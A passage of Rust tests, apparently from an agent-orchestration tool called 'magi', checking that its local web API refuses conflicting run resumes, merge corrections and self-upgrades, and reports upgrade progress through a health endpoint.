14737            "folding under a running agent would pull its worktree away"
14738        );
14739    }
14740
14741    #[tokio::test]
14742    async fn fold_merged_requires_a_pr_url() {
14743        let fx = Fixture::start().await;
14744        let runs = fx.runs();
14745        let id = "20260901-000000-nourl";
14746        write_run(&runs, id, RunStatus::Blocked);
14747
14748        let res = fx
14749            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14750            .await;
14751        assert_eq!(res.status, 400, "{}", res.body);
14752
14753        let blank = fx
14754            .post(
14755                &format!("/api/runs/{id}/fold-merged"),
14756                Some(r#"{"pr_url":"   "}"#),
14757            )
14758            .await;
14759        assert_eq!(blank.status, 400, "{}", blank.body);
14760    }
14761
14762    #[tokio::test]
14763    async fn fold_merged_is_404_for_an_unknown_run() {
14764        let fx = Fixture::start().await;
14765        let res = fx
14766            .post(
14767                "/api/runs/nosuchrun/fold-merged",
14768                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14769            )
14770            .await;
14771        assert_eq!(res.status, 404, "{}", res.body);
14772    }
14773
14774    #[tokio::test]
14775    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14776        let fx = Fixture::start().await;
14777        let runs = fx.runs();
14778        let id = "20260901-000000-livemerge";
14779        write_run(&runs, id, RunStatus::Blocked);
14780
14781        let mut beat = crate::daemon::Status::new();
14782        beat.current = vec![crate::daemon::Current {
14783            task: "20260901-000000-task".to_owned(),
14784            run: id.to_owned(),
14785        }];
14786        beat.updated_at = jiff::Timestamp::now();
14787        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14788            .expect("publish a heartbeat");
14789
14790        let res = fx
14791            .post(
14792                &format!("/api/runs/{id}/fold-merged"),
14793                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14794            )
14795            .await;
14796        assert_eq!(res.status, 409, "{}", res.body);
14797        assert!(
14798            res.json()["error"]
14799                .as_str()
14800                .unwrap()
14801                .contains("live daemon"),
14802            "correcting a run's merge underneath a running agent would race \
14803             whatever it is doing to the same `status`/`merge` fields"
14804        );
14805    }
14806
14807    /// A pull request `gh` cannot even ask about (no such remote, no such
14808    /// repository) must never be recorded as a merge on a guess - the same
14809    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
14810    /// command line, reached here through the phone route instead.
14811    #[tokio::test]
14812    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14813        let fx = Fixture::start().await;
14814        let runs = fx.runs();
14815        let id = "20260901-000000-unconfirmed";
14816        write_run(&runs, id, RunStatus::Blocked);
14817
14818        let res = fx
14819            .post(
14820                &format!("/api/runs/{id}/fold-merged"),
14821                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14822            )
14823            .await;
14824        assert_eq!(res.status, 400, "{}", res.body);
14825        assert_eq!(
14826            read_run(&runs, id).unwrap().status,
14827            RunStatus::Blocked,
14828            "a pull request that could not be confirmed merged must leave \
14829             the run exactly where it was"
14830        );
14831    }
14832
14833    #[tokio::test]
14834    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14835        let fx = Fixture::start().await;
14836        let runs = fx.runs();
14837
14838        // Only a finished run and a failed one. An *interrupted* run - a
14839        // parked one, or one whose daemon was killed mid-node - is the case
14840        // resuming exists for: run 4043 sat at `reviewing` with the deck
14841        // saying it could not be resumed, which was the one state where
14842        // resuming was the only sensible answer.
14843        for (status, word) in [
14844            (RunStatus::Merged, "merged"),
14845            (RunStatus::Ready, "ready"),
14846            (RunStatus::Failed, "failed"),
14847        ] {
14848            let id = format!("20260901-000000-{}", &word[..4]);
14849            write_run(&runs, &id, status);
14850            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14851            assert_eq!(res.status, 409, "{word} must not be resumable");
14852            let err = res.json()["error"].as_str().unwrap().to_owned();
14853            assert!(err.contains(word), "the refusal names the status: {err}");
14854        }
14855
14856        // And an interrupted run is accepted: 202, with the resume running in
14857        // the background. `Runner::resume` fails immediately here - the
14858        // fixture's run points at a repository that does not exist - which is
14859        // the point: the handler must not wait for it to find out.
14860        let mid = "20260901-000000-midf";
14861        write_run(&runs, mid, RunStatus::Reviewing);
14862        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14863        assert_eq!(res.status, 202, "an interrupted run is resumable");
14864    }
14865
14866    #[tokio::test]
14867    async fn resume_is_refused_while_the_loop_is_running() {
14868        let fx = Fixture::start().await;
14869        let runs = fx.runs();
14870        let stalled = "20260901-000000-stal";
14871        write_run(&runs, stalled, RunStatus::Stalled);
14872
14873        // The loop is busy with a *different* run, and that is still a
14874        // refusal: a manual resume must never race whatever the loop itself
14875        // is already driving, whether that is one run or several.
14876        let mut beat = crate::daemon::Status::new();
14877        beat.current = vec![crate::daemon::Current {
14878            task: "20260901-000000-task".to_owned(),
14879            run: "20260901-000000-othr".to_owned(),
14880        }];
14881        beat.updated_at = jiff::Timestamp::now();
14882        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14883            .expect("publish a heartbeat");
14884
14885        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14886        assert_eq!(res.status, 409);
14887        let err = res.json()["error"].as_str().unwrap().to_owned();
14888        assert!(err.contains("othr"), "it names what the loop is on: {err}");
14889        assert!(err.contains("stop it first"), "{err}");
14890    }
14891
14892    #[test]
14893    fn a_run_cannot_be_resumed_twice_at_once() {
14894        let home = TempDir::new().expect("temp home");
14895        let ui = Ui::new(
14896            Queue::at(home.path().join("queue")),
14897            Questions::at(home.path().join("questions")),
14898            Talks::at(home.path().join("talks")),
14899            home.path().join("runs"),
14900            home.path().to_path_buf(),
14901            PathBuf::from("/repo"),
14902        )
14903        .with_worktrees_root(home.path().join("wt"));
14904        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14905        let again = ui.begin_resume("20260901-000000-once");
14906        assert!(again.is_err(), "a second tap must not start a second graph");
14907        drop(first);
14908        assert!(
14909            ui.begin_resume("20260901-000000-once").is_ok(),
14910            "and the claim is released when the attempt ends"
14911        );
14912    }
14913
14914    #[test]
14915    fn talk_thinking_tracks_only_its_held_turn_claim() {
14916        let home = TempDir::new().expect("temp home");
14917        let ui = Ui::new(
14918            Queue::at(home.path().join("queue")),
14919            Questions::at(home.path().join("questions")),
14920            Talks::at(home.path().join("talks")),
14921            home.path().join("runs"),
14922            home.path().to_path_buf(),
14923            PathBuf::from("/repo"),
14924        )
14925        .with_worktrees_root(home.path().join("wt"));
14926        let id = "20260901-000000-once";
14927
14928        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14929        let turn = ui.begin_talk_turn(id).expect("claim turn");
14930        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14931        assert!(
14932            !ui.is_thinking("20260901-000000-other"),
14933            "one talk's turn does not make another talk busy"
14934        );
14935        drop(turn);
14936        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14937    }
14938
14939    #[test]
14940    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14941        let home = TempDir::new().expect("temp home");
14942        let talks = Talks::at(home.path().join("talks"));
14943        let ui = Ui::new(
14944            Queue::at(home.path().join("queue")),
14945            Questions::at(home.path().join("questions")),
14946            talks.clone(),
14947            home.path().join("runs"),
14948            home.path().to_path_buf(),
14949            PathBuf::from("/repo"),
14950        )
14951        .with_worktrees_root(home.path().join("wt"));
14952        let id = "20260901-000000-cross";
14953
14954        let other = Talks::at(home.path().join("talks"))
14955            .claim_turn(id)
14956            .expect("claim")
14957            .expect("the other process wins");
14958        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14959        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14960        assert!(
14961            matches!(
14962                ui.begin_talk_turn_unless_pending(id).expect("start"),
14963                TalkTurnStart::Foreign
14964            ),
14965            "a foreign holder is refused, not queued behind"
14966        );
14967        assert!(
14968            !ui.talk_turns.lock().unwrap().live.contains(id),
14969            "a refused claim leaves no in-process entry behind"
14970        );
14971        drop(other);
14972        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14973        assert!(talks.turn_held(id), "the web turn holds the lease");
14974        drop(turn);
14975        assert!(
14976            !talks.turn_held(id),
14977            "dropping the guard releases the lease"
14978        );
14979    }
14980
14981    #[test]
14982    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14983        let home = TempDir::new().expect("temp home");
14984        let talks = Talks::at(home.path().join("talks"));
14985        let ui = Ui::new(
14986            Queue::at(home.path().join("queue")),
14987            Questions::at(home.path().join("questions")),
14988            talks.clone(),
14989            home.path().join("runs"),
14990            home.path().to_path_buf(),
14991            PathBuf::from("/repo"),
14992        )
14993        .with_worktrees_root(home.path().join("wt"));
14994        let id = "20260901-000000-order";
14995        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14996        // Hold the slot mutex so the drop can finish the lease but not the slot.
14997        let slots = ui.talk_turns.lock().unwrap();
14998        let dropper = std::thread::spawn(move || drop(turn));
14999        let start = std::time::Instant::now();
15000        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15001            std::thread::sleep(Duration::from_millis(5));
15002        }
15003        assert!(!talks.turn_held(id), "the lease is released first");
15004        assert!(slots.live.contains(id), "the slot is still held meanwhile");
15005        drop(slots);
15006        dropper.join().expect("join");
15007        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15008    }
15009
15010    #[tokio::test]
15011    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15012        let fx = Fixture::start().await;
15013        // Somebody else's `magi serve` owns the queue. Replacing this binary
15014        // would leave that process running an old one against the same
15015        // claims, which is worse than refusing.
15016        let mut beat = crate::daemon::Status::new();
15017        beat.pid = 4321;
15018        beat.updated_at = jiff::Timestamp::now();
15019        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15020            .expect("publish a heartbeat");
15021
15022        let res = fx.post("/api/upgrade", None).await;
15023        assert_eq!(res.status, 409);
15024        let err = res.json()["error"].as_str().unwrap().to_owned();
15025        assert!(err.contains("4321"), "the refusal names the owner: {err}");
15026        assert!(err.contains("old one against the same queue"), "{err}");
15027    }
15028
15029    /// [`should_spawn_recheck`] must refuse for the same two reasons
15030    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
15031    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
15032    /// Purely a predicate over config and the environment - no network, no
15033    /// disk, no runtime - so unlike the fixture-based tests around it this
15034    /// one needs neither.
15035    #[test]
15036    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15037        assert!(!should_spawn_recheck(&crate::config::Update {
15038            mode: UpdateMode::Off,
15039            interval: None,
15040        }));
15041
15042        // SAFETY: single-threaded as far as this variable goes, the same
15043        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
15044        unsafe {
15045            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15046        }
15047        let killed = should_spawn_recheck(&crate::config::Update {
15048            mode: UpdateMode::Notify,
15049            interval: None,
15050        });
15051        unsafe {
15052            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15053        }
15054        assert!(
15055            !killed,
15056            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15057             one-time startup check"
15058        );
15059
15060        assert!(should_spawn_recheck(&crate::config::Update {
15061            mode: UpdateMode::Notify,
15062            interval: None,
15063        }));
15064    }
15065
15066    /// [`recheck_poll_period`] must track a configured `[update] interval`
15067    /// shorter than its own default ceiling - a fixed sleep here would leave
15068    /// an operator's short interval waiting on the next wake-up instead of on
15069    /// `should_check`, which is the same bug this whole task exists to fix,
15070    /// just one level down.
15071    #[test]
15072    fn recheck_poll_period_tracks_a_short_configured_interval() {
15073        let short = crate::config::Update {
15074            mode: UpdateMode::Notify,
15075            interval: Some("1m".to_owned()),
15076        };
15077        let period = recheck_poll_period(&short);
15078        assert!(
15079            period <= Duration::from_secs(30),
15080            "a one-minute interval must wake the task far sooner than the \
15081             default ceiling, or the deck would not notice within the \
15082             interval the operator configured: got {period:?}"
15083        );
15084
15085        let default = crate::config::Update {
15086            mode: UpdateMode::Notify,
15087            interval: None,
15088        };
15089        assert_eq!(
15090            recheck_poll_period(&default),
15091            UPDATE_RECHECK_POLL_MAX,
15092            "the default day-long interval should poll at the (capped) \
15093             ceiling rather than needlessly often"
15094        );
15095    }
15096
15097    /// [`update_recheck_due`] must not repeat a check made moments ago, the
15098    /// same throttle `updater::Checker::should_check` already gives the
15099    /// CLI's notify mode. Built over an explicit state file via
15100    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
15101    /// write the operator's real `last_update_check.json` - and therefore
15102    /// cannot flake on whatever that file happens to say on the machine
15103    /// running the test.
15104    #[test]
15105    fn recheck_skips_the_network_before_the_interval_elapses() {
15106        let dir = TempDir::new().expect("temp dir");
15107        let path = dir.path().join("state.json");
15108        let state = kaishin::UpdateCheckState {
15109            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15110            last_known_latest: None,
15111            last_known_url: None,
15112        };
15113        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15114
15115        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15116        assert!(
15117            !update_recheck_due(&checker, None),
15118            "a check made moments ago must not be repeated before the \
15119             configured interval elapses"
15120        );
15121    }
15122
15123    /// An upgrade this deck already started must not be raced by a recheck
15124    /// that discovers a newer release mid-install - regardless of what
15125    /// `should_check` says, which is why the state file here is missing
15126    /// entirely: read alone, that alone would answer "never checked, go
15127    /// ahead".
15128    #[test]
15129    fn recheck_defers_to_an_upgrade_already_in_flight() {
15130        let dir = TempDir::new().expect("temp dir");
15131        let path = dir.path().join("state.json");
15132        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15133        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15134
15135        assert!(
15136            !update_recheck_due(&checker, Some(&progress)),
15137            "a recheck must not run while an upgrade this deck started is \
15138             still moving"
15139        );
15140    }
15141
15142    #[tokio::test]
15143    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15144        // The same env var the background check honours (`disabled_by_env`)
15145        // must also stop a button press before it ever calls
15146        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
15147        // means "never contact GitHub from this process", and a tap on the
15148        // upgrade button must not override that any more than a broken
15149        // `magi.toml` may. Left unset, this fixture's default config would
15150        // otherwise reach a real, unauthenticated GitHub call.
15151        //
15152        // SAFETY: single-threaded as far as this variable goes - nothing else
15153        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
15154        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
15155        unsafe {
15156            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15157        }
15158        let fx = Fixture::start().await;
15159        let res = fx.post("/api/upgrade", None).await;
15160        unsafe {
15161            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15162        }
15163        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15164        let body = res.json();
15165        assert!(body["to"].is_null(), "there was no release to move to");
15166        assert!(body["parked"].is_null(), "and nothing was parked");
15167        assert!(
15168            body["detail"]
15169                .as_str()
15170                .unwrap()
15171                .contains("disabled by MAGI_NO_AUTOUPDATE"),
15172            "{body:?}"
15173        );
15174    }
15175
15176    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15177        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15178        p.stage = stage;
15179        p
15180    }
15181
15182    #[test]
15183    fn busy_stages_match_the_ui_set() {
15184        use crate::updater::Stage;
15185        assert!(APP_JS.contains(
15186            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15187        ));
15188        for s in [
15189            Stage::Downloading,
15190            Stage::Replaced,
15191            Stage::Parking,
15192            Stage::Restarting,
15193        ] {
15194            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15195        }
15196        for s in [Stage::Done, Stage::Failed] {
15197            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15198        }
15199        assert!(upgrade_in_motion(None).is_none());
15200    }
15201
15202    #[tokio::test]
15203    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15204        use crate::updater::Stage;
15205        for stage in [
15206            Stage::Downloading,
15207            Stage::Replaced,
15208            Stage::Parking,
15209            Stage::Restarting,
15210        ] {
15211            let fx = Fixture::start().await;
15212            let seeded = seeded_progress(stage);
15213            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15214            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15215                .expect("read");
15216
15217            let res = fx.post("/api/upgrade", None).await;
15218            assert_eq!(res.status, 409, "{stage:?}");
15219            let err = res.json()["error"].as_str().unwrap().to_owned();
15220            assert!(err.contains("already in progress"), "{err}");
15221            assert!(err.contains(stage.as_str()), "{err}");
15222
15223            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15224                .expect("read");
15225            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15226            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15227                .unwrap_or_default();
15228            assert!(!log.contains("signalling HANDOVER"), "{log}");
15229        }
15230    }
15231
15232    #[tokio::test]
15233    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15234        use crate::updater::Stage;
15235        let repo = TempDir::new().expect("repo dir");
15236        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15237            .expect("write magi.toml");
15238        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15239        for stage in [Stage::Done, Stage::Failed] {
15240            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15241            let res = fx.post("/api/upgrade", None).await;
15242            assert_eq!(res.status, 200, "{stage:?}");
15243        }
15244        // No record at all, and the gate was released by the earlier calls.
15245        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15246        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15247    }
15248
15249    #[tokio::test]
15250    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15251        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
15252        // and the route answers from its own logic.
15253        //
15254        // This test used to lean on the fixture's placeholder repo failing
15255        // config discovery, which left `mode = "notify"` - and a live,
15256        // unauthenticated call to the GitHub releases API inside a unit test.
15257        // GitHub allows 60 of those an hour per address, so the suite went red
15258        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
15259        // long as somebody kept re-running it: every attempt spent another
15260        // request. Six reruns across four pull requests were charged to that
15261        // before it was read as a rate limit rather than a flake.
15262        //
15263        // What the assertion is about is the "already current" branch, which
15264        // is reached by there being no newer release *or* nowhere to look. The
15265        // second one needs no network and cannot be rate limited.
15266        let repo = TempDir::new().expect("repo dir");
15267        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15268            .expect("write magi.toml");
15269        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15270
15271        // It must answer 200 and leave the process alone: restarting for an
15272        // upgrade that did not happen parks the run in flight and drops every
15273        // connection to pay for nothing. A probe against a deck already on the
15274        // newest build did exactly that, which is how this case got its own
15275        // branch.
15276        let res = fx.post("/api/upgrade", None).await;
15277        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15278        let body = res.json();
15279        assert!(body["to"].is_null(), "there was no release to move to");
15280        assert!(body["parked"].is_null(), "and nothing was parked");
15281        assert!(
15282            body["detail"]
15283                .as_str()
15284                .unwrap()
15285                .contains("nothing restarted"),
15286            "{body:?}"
15287        );
15288    }
15289
15290    #[tokio::test]
15291    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15292        // `mode = "off"` for the same reason as the test above: a default
15293        // fixture repo falls back to `mode = "notify"`, which would make this
15294        // route's new `update` field a live, unauthenticated GitHub call on
15295        // every assertion in this suite that happens to hit `/api/health`.
15296        let repo = TempDir::new().expect("repo dir");
15297        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15298            .expect("write magi.toml");
15299        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15300
15301        let health = fx.get("/api/health").await.json();
15302        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15303        assert_eq!(
15304            health["update"]["available"], false,
15305            "checking is off, which reads as \"unknown\", not \"none\""
15306        );
15307        assert!(health["update"]["to"].is_null());
15308        assert!(
15309            health["upgrade"].is_null(),
15310            "nothing has ever asked this deck to upgrade"
15311        );
15312    }
15313
15314    #[tokio::test]
15315    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15316        let fx = Fixture::start().await;
15317        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15318
15319        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15320        progress.parked_run = Some("20260905-000000-cd51".to_owned());
15321        progress.advance(crate::updater::Stage::Parking);
15322        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15323
15324        let health = fx.get("/api/health").await.json();
15325        assert_eq!(health["upgrade"]["stage"], "parking");
15326        assert_eq!(health["upgrade"]["from"], "0.5.1");
15327        assert_eq!(health["upgrade"]["to"], "0.5.2");
15328        let waiting_on = health["upgrade"]["waiting_on"]
15329            .as_str()
15330            .expect("waiting_on is set while parking a known run");
15331        assert!(waiting_on.contains("cd51"), "{waiting_on}");
15332        assert!(waiting_on.contains("implementing"), "{waiting_on}");
15333    }
15334
15335    #[tokio::test]
15336    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15337        let fx = Fixture::start().await;
15338        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15339        progress.advance(crate::updater::Stage::Done);
15340        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15341
15342        let health = fx.get("/api/health").await.json();
15343        assert_eq!(health["upgrade"]["stage"], "done");
15344        assert!(
15345            health["upgrade"]["waiting_on"].is_null(),
15346            "nothing to wait on once it is done"
15347        );
15348    }
15349
15350    #[tokio::test]
15351    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15352        let home = TempDir::new().expect("temp home");
15353        let runs = home.path().join("runs");
15354        std::fs::create_dir_all(&runs).expect("runs dir");
15355        let ui = Ui::new(
15356            Queue::at(home.path().join("queue")),
15357            Questions::at(home.path().join("questions")),
15358            Talks::at(home.path().join("talks")),
15359            runs,
15360            home.path().to_path_buf(),
15361            PathBuf::from("/repo/magi"),
15362        )
15363        .with_launch(launch_idle);
15364        let looping = ui.looping();
15365        let turns = ui.turns();
15366        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15367            .await
15368            .expect("bind loopback");
15369        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15370
15371        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15372        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15373
15374        hand_over(
15375            home.path(),
15376            &looping,
15377            &turns,
15378            &|_: &[String]| Duration::from_secs(5),
15379            served,
15380            |_| Ok(1),
15381        )
15382        .await
15383        .expect("hand over");
15384
15385        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15386        assert_eq!(
15387            after.stage,
15388            crate::updater::Stage::Restarting,
15389            "hand_over owns the record through parking and up to restarting; \
15390             the successor is what finishes it"
15391        );
15392    }
15393
15394    /// The successor is started exactly once on success, and exactly once on
15395    /// failure too (a failed start is reported, never retried).
15396    #[tokio::test]
15397    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15398        for fail in [false, true] {
15399            let home = TempDir::new().expect("temp home");
15400            let ui = idle_ui(&home);
15401            let looping = ui.looping();
15402            let turns = ui.turns();
15403            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15404                .await
15405                .expect("bind loopback");
15406            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15407            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15408            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15409
15410            let calls = std::sync::atomic::AtomicUsize::new(0);
15411            let outcome = hand_over(
15412                home.path(),
15413                &looping,
15414                &turns,
15415                &|_: &[String]| Duration::from_secs(5),
15416                served,
15417                |_| {
15418                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15419                    if fail {
15420                        anyhow::bail!("no exec")
15421                    } else {
15422                        Ok(4242)
15423                    }
15424                },
15425            )
15426            .await;
15427            assert_eq!(outcome.is_err(), fail);
15428            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15429
15430            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15431                .expect("upgrade.log is written under the home");
15432            for step in [
15433                "entered",
15434                "finish_loop",
15435                "listener released",
15436                "starting the successor",
15437            ] {
15438                assert!(log.contains(step), "missing `{step}` in:\n{log}");
15439            }
15440            assert!(
15441                log.contains(if fail { "did not start" } else { "pid 4242" }),
15442                "{log}"
15443            );
15444        }
15445    }
15446
15447    /// The handover signal is seen however the race falls, and wakes its one
15448    /// waiter once per signal - nothing here can spin.
15449    #[tokio::test]
15450    async fn the_handover_signal_wakes_one_waiter_once() {
15451        let signal = Notify::new();
15452        // Signalled before anyone waits: the stored permit is not lost.
15453        signal.notify_one();
15454        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15455            .await
15456            .expect("an early signal is still seen");
15457        // One signal, one wake-up: a second wait does not resolve by itself.
15458        assert!(
15459            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15460                .await
15461                .is_err(),
15462            "a consumed signal must not wake a second time"
15463        );
15464        // Signalled while waiting.
15465        let signal = std::sync::Arc::new(signal);
15466        let waiter = tokio::spawn({
15467            let signal = std::sync::Arc::clone(&signal);
15468            async move { wait_for_handover(&signal).await }
15469        });
15470        tokio::time::sleep(Duration::from_millis(20)).await;
15471        assert!(!waiter.is_finished(), "nothing was signalled yet");
15472        signal.notify_one();
15473        tokio::time::timeout(Duration::from_secs(5), waiter)
15474            .await
15475            .expect("a late signal wakes the waiter")
15476            .expect("join");
15477    }
15478
15479    #[tokio::test]
15480    async fn health_says_how_long_a_handover_has_been_stuck() {
15481        let fx = Fixture::start().await;
15482        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15483        progress.advance(crate::updater::Stage::Replaced);
15484        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15485        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15486
15487        let health = fx.get("/api/health").await.json();
15488        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15489        assert!(stuck >= 600, "{stuck}");
15490        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15491        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15492    }
15493
15494    #[tokio::test]
15495    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15496        let home = tempfile::tempdir().expect("temp home");
15497        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15498        progress.advance(crate::updater::Stage::Parking);
15499        crate::updater::write_progress(home.path(), &progress).expect("seed");
15500        // What the second upgrade_and_restart and its handler do.
15501        let mut again = progress.clone();
15502        again.advance(crate::updater::Stage::Replaced);
15503        crate::updater::write_progress(home.path(), &again).expect("replaced");
15504        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15505        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15506        let after = crate::updater::read_progress(home.path()).expect("record");
15507        assert_eq!(after.stage, crate::updater::Stage::Parking);
15508    }
15509
15510    #[tokio::test]
15511    async fn health_does_not_call_a_live_parking_wait_stuck() {
15512        let fx = Fixture::start().await;
15513        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15514        progress.parked_run = Some("20260905-000000-cd51".to_owned());
15515        progress.advance(crate::updater::Stage::Parking);
15516        let hours = Duration::from_secs(3 * 3600);
15517        progress.started_at = Timestamp::now() - hours;
15518        progress.updated_at = Timestamp::now() - hours;
15519        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15520        let _lease = crate::updater::LeaseGuard::enter(
15521            fx.home.path(),
15522            Some("20260905-000000-cd51".to_owned()),
15523        );
15524
15525        let health = fx.get("/api/health").await.json();
15526        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15527        assert!(health["upgrade"]["stuck_kind"].is_null());
15528        assert_eq!(health["upgrade"]["handover_alive"], true);
15529        let waiting_on = health["upgrade"]["waiting_on"]
15530            .as_str()
15531            .expect("waiting_on");
15532        assert!(waiting_on.contains("cd51"), "{waiting_on}");
15533    }
15534
15535    fn idle_ui(home: &TempDir) -> Ui {
15536        let runs = home.path().join("runs");
15537        std::fs::create_dir_all(&runs).expect("runs dir");
15538        Ui::new(
15539            Queue::at(home.path().join("queue")),
15540            Questions::at(home.path().join("questions")),
15541            Talks::at(home.path().join("talks")),
15542            runs,
15543            home.path().to_path_buf(),
15544            PathBuf::from("/repo/magi"),
15545        )
15546        .with_launch(launch_idle)
15547    }
15548
15549    async fn park_fixture(
15550        home: &TempDir,
15551    ) -> (
15552        Ui,
15553        Arc<Mutex<LoopState>>,
15554        Arc<Mutex<TalkTurns>>,
15555        tokio::task::JoinHandle<std::io::Result<()>>,
15556    ) {
15557        let ui = idle_ui(home);
15558        let looping = ui.looping();
15559        let turns = ui.turns();
15560        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15561            .await
